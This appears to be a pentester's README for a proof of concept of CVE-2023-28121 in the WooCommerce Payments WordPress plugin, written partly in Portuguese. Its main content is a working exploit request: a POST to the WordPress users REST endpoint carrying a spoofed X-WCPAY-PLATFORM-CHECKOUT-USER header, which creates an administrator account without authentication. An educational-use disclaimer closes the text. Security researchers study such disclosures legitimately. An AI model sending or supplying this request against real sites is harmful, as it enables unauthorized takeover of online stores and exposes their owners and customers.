
Exploração prática de vulnerabilidade crítica no WordPress usando o plugin WooCommerce Payments.
Practical exploitation of a critical vulnerability in WordPress using the WooCommerce Payments plugin.
CVE-2023-28121 allows creating administrator users without authentication via the REST API.
📊 The affected plugin has hundreds of thousands of installations, being widely used in e-commerce.
https://github.com/user-attachments/assets/cead3884-0924-4320-967f-de9fb3f6cd44
The system accepts a manipulable header:
X-WCPAY-PLATFORM-CHECKOUT-USER: 1
With this, it's possible to send a request to create a user with elevated privileges without valid authentication.
POST /wp-json/wp/v2/users
Content-Type: application/json
X-WCPAY-PLATFORM-CHECKOUT-USER: 1
{
"username": "hacked",
"password": "StrongPass123!",
"email": "[email protected]",
"roles": ["administrator"]
}
✔️ Result: admin user creation
/wp-admin👨💻 Author
Luis Eduardo .M.B.S.R
Pentester / Web Security
LinkedIn: https://www.linkedin.com/in/luis-eduardo-ti/
GitHub: https://github.com/luisdevpentest
Educational use in a controlled environment. I am not responsible for how this knowledge is used by third parties.